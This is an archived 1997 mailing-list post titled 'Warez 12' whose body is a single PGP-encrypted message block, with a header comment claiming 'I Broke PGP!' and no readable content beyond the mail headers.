From hg-p at dev.null  Thu Dec 18 00:32:19 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:32:19 +0800
Subject: Warez 12
Message-ID: <199712180823.AAA16033@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
